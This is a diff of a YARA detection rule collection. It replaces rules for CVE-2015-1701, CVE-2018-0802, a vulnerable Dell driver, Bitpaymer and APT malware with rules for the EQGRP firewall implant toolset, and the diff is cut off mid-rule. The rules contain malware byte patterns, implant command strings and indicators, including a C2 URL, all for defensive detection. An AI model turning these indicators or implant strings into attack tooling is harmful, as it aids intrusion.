+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f07c3ef83808852f70fb5cbc4436d531675344ab74f83888cd70d987c3544cce"
 		score = 75
 		quality = 85
-		tags = "TAU, CN, APT"
-		rule_version = 1
-		yara_version = "3.8.1"
-		confidence = "Prod"
-		oriority = "High"
-		TLP = "White"
-		exemplar_hashes = "0fdcbd59d6ad41dda9ae8bab8fad9d49b1357282027e333f6894c9a92d0333b3"
-		sample_md5 = "da3b64ec6468a4ec56f977afb89661b1"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f155cce4eecff8598243a721389046ae2b6ca8ba6cb7b4ac00fd724601a56108"
 
 	strings:
-		$0x401d20 = { 8B 0D ?? ?? ?? ?? 33 C0 85 C9 }
-		$0x401d30 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 83 F8 ?? }
-		$0x401d46 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 10 83 F8 ?? }
-		$0x401d76 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 1C 83 F8 ?? }
-		$0x401dc4 = { 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 33 C0 F3 A5 5F C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 5E C3 }
-		$0x401bd0 = { 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 53 56 57 85 C0 C7 45 FC ?? ?? ?? ?? }
-		$0x401bf4 = { 8B 45 14 85 C0 }
-		$0x401bff = { 8B 45 18 85 C0 }
-		$0x401c14 = { 8B 7D 08 8D 45 FC 50 57 E8 ?? ?? ?? ?? 8B 75 ?? 83 C4 08 66 }
-		$0x401c31 = { 8B 45 0C 85 C0 }
-		$0x401c3c = { 8D 4D FC 51 57 E8 ?? ?? ?? ?? 66 8B 55 FC 83 C4 08 66 3B 55 24 }
-		$0x401c57 = { 8B 5D 20 85 DB }
-		$0x401c62 = { 57 E8 ?? ?? ?? ?? 8B D0 83 C4 04 83 FA ?? }
-		$0x401c72 = { B9 ?? ?? ?? ?? 33 C0 8D BD 48 EE FF FF C7 85 44 EE FF FF ?? ?? ?? ?? F3 AB 8B 4D 0C 8D 85 44 EE FF FF 50 6A ?? 81 E6 FF FF 00 00 6A ?? 56 51 53 52 E8 ?? ?? ?? ?? 83 C4 1C 85 C0 }
-		$0x401caf = { 8B 45 1C 8B 4D 18 8D 95 44 EE FF FF 52 8B 55 14 50 51 52 E8 ?? ?? ?? ?? 8B F0 8D 85 44 EE FF FF 50 E8 ?? ?? ?? ?? 83 C4 14 8B C6 5F 5E 5B 8B E5 5D C3 }
-		$0x401ce1 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
-		$0x401ced = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
-		$0x401cf9 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
-		$0x401d05 = { 5F 5E B8 ?? ?? ?? ?? 5B 8B E5 5D C3 }
-		$0x401d16 = { 5F 5E 5B 8B E5 5D C3 }
+		$x1 = "Usage: StoreFc.py --configFile=<path to xml file> --implantFile=<path to BinStore implant> [--outputFile=<file to write the conf" ascii
+		$x2 = "raise Exception, \"Must supply both a config file and implant file.\"" fullword ascii
+		$x3 = "This is wrapper for Store.py that FELONYCROWBAR will use. This" fullword ascii
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_CVE_2015_1701_Taihou : CVE_2015_1701 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Hexdump : FILE
 {
 	meta:
-		description = "CVE-2015-1701 compiled exploit code"
+		description = "EQGRP Toolset Firewall - file hexdump.py"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58250e17-aa46-5451-ae6d-18fb4030f8df"
-		date = "2015-05-13"
+		id = "32a7d845-2fa3-5d8f-84e1-2c7f8d2ca8c8"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/W4nU0q"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_1701.yar#L2-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d230e036c303642c40bdf83be2b097f6e447a7e7d4292c495179edbae8a4124c"
-		score = 70
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L861-L877"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed36aa5a69296088bdd1db42e6561377294b7bd99c30104b9d4a618d899d7e9a"
+		score = 75
 		quality = 85
-		tags = "CVE-2015-1701, FILE"
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "90d17ebd75ce7ff4f15b2df951572653efe2ea17"
-		hash2 = "acf181d6c2c43356e92d4ee7592700fa01e30ffb"
-		hash3 = "b8aabe12502f7d55ae332905acee80a10e3bc399"
-		hash4 = "d9989a46d590ebc792f14aa6fec30560dfe931b1"
-		hash5 = "63d1d33e7418daf200dc4660fc9a59492ddd50d9"
+		hash1 = "95a9a6a8de60d3215c1c9f82d2d8b2640b42f5cabdc8b50bd1f4be2ea9d7575a"
 
 	strings:
-		$s3 = "VirtualProtect" fullword
-		$s4 = "RegisterClass"
-		$s5 = "LoadIcon"
-		$s6 = "PsLookupProcessByProcessId" fullword ascii
-		$s7 = "LoadLibraryExA" fullword ascii
-		$s8 = "gSharedInfo" fullword
-		$w1 = "user32.dll" wide
-		$w2 = "ntdll" wide
+		$s1 = "def hexdump(x,lead=\"[+] \",out=sys.stdout):" fullword ascii
+		$s2 = "print >>out, \"%s%04x  \" % (lead,i)," fullword ascii
+		$s3 = "print >>out, \"%02X\" % ord(x[i+j])," fullword ascii
+		$s4 = "print >>out, sane(x[i:i+16])" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <160KB and all of ($s*) and 1 of ($w*)
+		( uint16(0)==0x2123 and filesize <1KB and 2 of ($s*)) or ( all of them )
 }
-rule SIGNATURE_BASE_Rtf_CVE_2018_0802 : CVE_2018_0802 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_BBALL : FILE
 {
 	meta:
-		description = "Attempts to exploit CVE-2018-0802"
-		author = "Rich Warren"
-		id = "162492a3-d792-5f1c-a143-191c62b54728"
-		date = "2023-12-05"
+		description = "EQGRP Toolset Firewall - file BBALL_E28F6-2201.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bced11a2-fac4-58e5-a4a8-1c6d5fe418f9"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://www.freebuf.com/vuls/159789.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2018_0802.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ac1cd4f2162d2c8415e2ee5167cabb8e8aff08a06afe244f5bfe099f2d3fbeb4"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L879-L898"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b02d17a13725b5215c89590abf77f960e79f9fd155c9ea4e9eb903710a7a375e"
 		score = 75
 		quality = 83
-		tags = "CVE-2018-0802, FILE"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
 
 	strings:
-		$equation = { 45 71 75 61 74 69 6F 6E 2E 33 }
-		$header_and_shellcode = /03010[0,1][0-9a-fA-F]{308,310}2500/ ascii nocase
+		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
+		$s2 = ".got_loader" fullword ascii
+		$s3 = "handler_readBIOS" fullword ascii
+		$s4 = "cmosReadByte" fullword ascii
+		$s5 = "KEEPGOING" fullword ascii
+		$s6 = "checksumAreaConfirmed.0" fullword ascii
+		$s7 = "writeSpeedPlow.c" fullword ascii
 
 	condition:
-		uint32be(0)==0x7B5C7274 and all of them
+		( uint16(0)==0x457f and filesize <40KB and 4 of ($s*)) or ( all of them )
 }
-rule SIGNATURE_BASE_VULN_Dell_BIOS_Update_Driver_Dbutil_May21 : CVE_2021_21551 FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_BARPUNCH_BPICKER : FILE
 {
 	meta:
-		description = "Detects vulnerable DELL BIOS update driver that allows privilege escalation as reported in CVE-2021-21551 - DBUtil_2_3.Sys - note: it's usual location is in the C:\\Windows\\Temp folder"
+		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d46866e-40fb-5fbf-b159-6bf688e638cb"
-		date = "2021-05-05"
+		id = "7e88ba9d-1f15-533a-b388-a2a027ddb07c"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://labs.sentinelone.com/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vul_dell_bios_upd_driver.yar#L2-L18"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9cefb9fe28e818a3b0bc1c9ac570ddf2fac7ebf23408963656b7ec86d5bf3224"
-		score = 60
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L902-L921"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f5d0cc881bedad736a90109933da8dbd32c4435aa255676c68ae3541bbb61e74"
+		score = 75
 		quality = 85
-		tags = "CVE-2021-21551, FILE"
-		hash1 = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
-		hash2 = "ddbf5ecca5c8086afde1fb4f551e9e6400e94f4428fe7fb5559da5cffa654cc1"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
 
 	strings:
-		$s1 = "\\DBUtilDrv2" ascii
-		$s2 = "DBUtil_2_3.Sys" ascii fullword
-		$s3 = "[ Dell BIOS Utility Driver - " ascii fullword
+		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
+		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
+		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
+		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
+		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		( uint16(0)==0x457f and filesize <6000KB and 1 of them ) or (3 of them )
 }
-rule SIGNATURE_BASE_Bitpaymer_1
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Implants_Gen6 : FILE
 {
 	meta:
-		description = "Rule to detect newer Bitpaymer samples. Rule is based on BitPaymer custom packer"
-		author = "Morphisec labs"
-		id = "916de232-1f1b-5853-a57f-623812cfed16"
-		date = "2023-12-05"
+		description = "EQGRP Toolset Firewall"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1b1c6426-7274-5fd4-9ea2-ef10bda769d4"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://blog.morphisec.com/bitpaymer-ransomware-with-new-custom-packer-framework"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_crime_bitpaymer.yar#L1-L12"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c236794c04f0805d4611cfaf43369eeb4d0e65d6c697e6c5e6afd321fbca629"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L923-L951"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9f0aa1994199c8cef543b7602b574726171dd96df159a0c496db0c60c339c4d0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
 
 	strings:
-		$opcodes1 = {B9 ?? 00 00 00 FF 14 0F B8 FF 00 00 00 C3 89 45 FC}
-		$opcodes2 = {61 55 FF 54 B7 01 B0 FF C9 C3 CC 89 45 FC}
+		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
+		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
+		$s3 = "getModInterface__preloadedModules" fullword ascii
+		$s4 = "showCommands" fullword ascii
+		$s5 = "readModuleInterface" fullword ascii
+		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
+		$s7 = "Get_CMD_List" fullword ascii
+		$s8 = "LP_Listen2" fullword ascii
+		$s9 = "killCmdList" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d) and ($opcodes1 or $opcodes2)
+		( uint16(0)==0x457f and filesize <6000KB and all of them )
 }
-rule SIGNATURE_BASE_Scanbox_Malware_Generic
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Implants_Gen5 : FILE
 {
 	meta:
-		description = "Scanbox Chinese Deep Panda APT Malware http://goo.gl/MUUfjv and http://goo.gl/WXUQcP"
+		description = "EQGRP Toolset Firewall"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f7867e65-567f-530f-83d4-b5126021e523"
-		date = "2015-02-28"
+		id = "e35748ee-d530-5e73-a74d-5675d05725e9"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/WXUQcP"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_scanbox_deeppanda.yar#L2-L34"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5f521d3f000fb39e5e3b08657e75219e93fb3bb8ffbbdbd70f471928a56bef27"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L953-L978"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d4bbd9dbde4ca1da80d49157363ade3ec47d55828529ec7e1a46b64d07c991f0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8d168092d5601ebbaed24ec3caeef7454c48cf21366cd76560755eb33aff89e9"
-		hash2 = "d4be6c9117db9de21138ae26d1d0c3cfb38fd7a19fa07c828731fa2ac756ef8d"
-		hash3 = "3fe208273288fc4d8db1bf20078d550e321d9bc5b9ab80c93d79d2cb05cbf8c2"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
+		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
+		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
+		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
+		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
 
 	strings:
-		$s0 = "http://142.91.76.134/p.dat" fullword ascii
-		$s1 = "HttpDump 1.1" fullword ascii
-		$s3 = "SecureInput .exe" fullword wide
-		$s4 = "http://extcitrix.we11point.com/vpn/index.php?ref=1" fullword ascii
-		$s5 = "%SystemRoot%\\System32\\svchost.exe -k msupdate" fullword ascii
-		$s6 = "ServiceMaix" fullword ascii
-		$x1 = "Management Support Team1" fullword ascii
-		$x2 = "DTOPTOOLZ Co.,Ltd.0" fullword ascii
-		$x3 = "SEOUL1" fullword ascii
+		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
+		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
+		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
+		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii
 
 	condition:
-		(1 of ($s*) and 2 of ($x*)) or (3 of ($x*))
+		( uint16(0)==0x457f and 1 of ($x*)) or ( all of them )
 }
-rule SIGNATURE_BASE_SUSP_VEST_Encryption_Core_Accumulator_Jan21 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_EQGRP_Pandarock : FILE
 {
 	meta:
-		description = "Detects VEST encryption core accumulator in PE file as used by Lazarus malware"
+		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8343652b-8865-5213-b735-d6d4084e4a84"
-		date = "2021-01-28"
+		id = "aa0ee05b-b3e4-576a-8a32-bdc8d98fe636"
+		date = "2016-08-16"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ochsenmeier/status/1354737155495649280"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_jan21.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "41fe42b2f2b5fb54b7ff19b74a35aadd928be9a3c7280ee9feffc4a142924b07"
-		score = 70
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L980-L1007"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d0a61410d7c5f309489ef4553f41a3a6fb7d0f24bcdb1f0d88e896265513add2"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7cd3ca8bdfb44e98a4b9d0c6ad77546e03d169bda9bdf3d1bcf339f68137af23"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
+		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
 
 	strings:
-		$sc1 = { 4F 70 46 DA E1 8D F6 41 59 E8 5D 26 1E CC 2F 89
-               26 6D 52 BA BC 11 6B A9 C6 47 E4 9C 1E B6 65 A2
-               B6 CD 90 47 1C DF F8 10 4B D2 7C C4 72 25 C6 97
-               25 5D C6 1D 4B 36 BC 38 36 33 F8 89 B4 4C 65 A7
-               96 CA 1B 63 C3 4B 6A 63 DC 85 4C 57 EE 2A 05 C7
-               0C E7 39 35 8A C1 BF 13 D9 52 51 3D 2E 41 F5 72
-               85 23 FE A1 AA 53 61 3B 25 5F 62 B4 36 EE 2A 51
-               AF 18 8E 9A C6 CF C4 07 4A 9B 25 9B 76 62 0E 3E
-               96 3A A7 64 23 6B B6 19 BC 2D 40 D7 36 3E E2 85
-               9A D1 22 9F BC 30 15 9F C2 5D F1 23 E6 3A 73 C0 }
+		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
+		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
+		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
+		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
+		$s1 = "pitCmd_processCmdLine" fullword ascii
+		$s2 = "execute all commands in <file>" fullword ascii
+		$s3 = "__processShellCmd" ascii
+		$s4 = "pitTarget_getDstPort" fullword ascii
+		$s5 = "__processSetTargetIp" ascii
+		$o1 = "Logging commands and output - ON" fullword ascii
+		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		( uint16(0)==0x457f and filesize <3000KB and 1 of ($x*)) or (4 of them ) or 1 of ($o*)
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_Malware_Imphash_Mar23_1 : HIGHVOL FILE
+rule SIGNATURE_BASE_EQGRP_Bananausurper_Writejetplow : FILE
 {
 	meta:
-		description = "Detects malware by known bad imphash or rich_pe_header_hash"
-		author = "Arnim Rupp"
-		id = "fb398c26-e9ac-55f9-b605-6b763021e96a"
-		date = "2023-03-20"
-		modified = "2023-03-22"
-		reference = "https://yaraify.abuse.ch/statistics/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_imphash_detection.yar#L4-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "167dde6bd578cbfcc587d5853e7fc2904cda10e737ca74b31df52ba24db6e7bc"
-		hash = "0a25a78c6b9df52e55455f5d52bcb3816460001cae3307b05e76ac70193b0636"
-		hash = "d87a35decd0b81382e0c98f83c7f4bf25a2b25baac90c9dcff5b5a147e33bcc8"
-		hash = "5783bf969c36f13f4365f4cae3ec4ee5d95694ff181aba74a33f4959f1f19e8b"
-		hash = "4ca925b0feec851d787e7ee42d263f4c08b0f73f496049bdb5d967728ff91073"
-		hash = "9c2d2fa9c32fdff1828854e8cc39160dae73a4f90fb89b82ef6d853b63035663"
-		hash = "2c53d58f30b2ee1a2a7746e20f136c34d25d0214261783fc67e119329d457c2a"
-		hash = "5e83747015b0589b4f04b0db981794adf53274076c1b4acf717e3ff45eca0249"
-		hash = "ceaa0af90222ff3a899b9a360f6328cbda9ec0f5fbd18eb44bdc440470bb0247"
-		hash = "82fb1ba998dfee806a513f125bb64c316989c36c805575914186a6b45da3b132"
-		hash = "cb41d2520995abd9ba8ccd42e53d496a66da392007ea6aebd4cbc43f71ad461a"
-		hash = "c7bd758506b72ee6db1cc2557baf745bf9e402127d8e49266cc91c90f3cf3ed5"
-		hash = "e6e0d60f65a4ea6895ff97df340f6d90942bbfa402c01bf443ff5b4641ff849f"
-		hash = "e8ddef9fa689e98ba2d48260aea3eb8fa41922ed718b7b9135df6426b3ddf126"
-		hash = "ad57d77aba6f1bf82e0affe4c0ae95964be45fb3b7c2d6a0e08728e425ecd301"
-		hash = "483df98eb489899bc89c6a0662ca8166c9b77af2f6bedebd17e61a69211843d9"
-		hash = "a65ed85851d8751e6fe6a27ece7b3879b90866a10f272d8af46fb394b46b90a9"
-		hash = "09081e04f3228d6ef2efc1108850958ed86026e4dfda199852046481f4711565"
-		hash = "1b2c9054f44f7d08cffe7e2d9127dbd96206ab2c15b63ebf6120184950336ae1"
-		hash = "257887d1c84eb15abb2c3c0d7eb9b753ca961d905f4979a10a094d0737d97138"
-		hash = "1cbad8b58dbd1176e492e11f16954c3c254b5169dde52b5ad6d0d3c51930abf8"
-		hash = "a9897fd2d5401071a8219b05a3e9b74b64ad67ab75044b3e41818e6305a8d7b9"
-		hash = "aeac45fbc5d2a59c9669b9664400aeaf6699d76a57126d2f437833a3437a693e"
-		hash = "7b4c4d4676fab6c009a40d370e6cb53ea4fd73b09c23426fbaccc66d652f2a00"
-		hash = "b07f6873726276842686a6a6845b361068c3f5ce086811db05c1dc2250009cd0"
-		hash = "d1b3afebcacf9dd87034f83d209b42b0d79e66e08c0a897942fbe5fbd6704a0e"
-		hash = "074d52be060751cf213f6d0ead8e9ab1e63f055ae79b5fcbe4dd18469deea12b"
-		hash = "84d1fdef484fa9f637ae3d6820c996f6c5cf455470e8717ad348a3d80d2fb8e0"
-		hash = "437da123e80cfd10be5f08123cd63cfc0dc561e17b0bef861634d60c8a134eda"
-		hash = "f76c36eb22777473b88c6a5fc150fd9d6b5fac5b2db093f0ccd101614c46c7e7"
-		hash = "5498b7995669877a410e1c2b68575ca94e79014075ef5f89f0f1840c70ebf942"
-		hash = "af4e633acfba903e7c92342b114c4af4e694c5cfaea3d9ea468a4d322b60aa85"
-		hash = "d7d870f5afab8d4afa083ea7d7ce6407f88b0f08ca166df1a1d9bdc1a46a41b3"
-		hash = "974209d88747fbba77069bb9afa9e8c09ee37ae233d94c82999d88dfcd297117"
-		hash = "f2d99e7d3c59adf52afe0302b298c7d8ea023e9338c2870f74f11eaa0a332fc4"
-		hash = "b32c93be9320146fc614fafd5e6f1bb8468be83628118a67eb01c878f941ee5d"
-		hash = "bbd99acc750e6457e89acbc5da8b2a63b4ef01d4597d160e9cde5dc8bd04cf74"
-		hash = "dbff5ca3d1e18902317ab9c50be4e172640a8141e09ec13dcca986f2ec1dc395"
-		hash = "3ee1741a649f0b97bbeb05b6f9df97afda22c82e1e870177d8bdd34141ef163c"
-		hash = "222096fc800c8ea2b0e530302306898b691858324dbe5b8357f90407e9665b85"
-		hash = "b9995d1987c4e8b6fb30d255948322cfad9cc212c7f8f4c5db3ac80e23071533"
-		hash = "a6a92ea0f27da1e678c15beb263647de43f68608afe82d6847450f16a11fe6c0"
-		hash = "866e3ea86671a62b677214f07890ddf7e8153bec56455ad083c800e6ab51be37"
-		logic_hash = "dcb4d9a1ca83bbd26178895f20f9ab443f48f42aa3ad3df042c763c24ce8c047"
+		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
+		author = "Florian Roth (Nextron Systems)"
+		id = "901af182-cbfa-533a-a055-565d95005d62"
+		date = "2016-08-16"
+		modified = "2023-12-05"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L1009-L1028"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "101e75800291a7603e03145bff298d7587c9b5f19102e7ba9ed3bf2b544fa5cf"
 		score = 75
 		quality = 85
-		tags = "HIGHVOL, FILE"
-		license = "Detection Rule License 1.1 https://github.com/SigmaHQ/Detection-Rule-License"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
+		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
 
 	strings:
-		$fp1 = "Win32 Cabinet Self-Extractor" wide
-		$fp2 = "EXTRACTOPT" ascii fullword
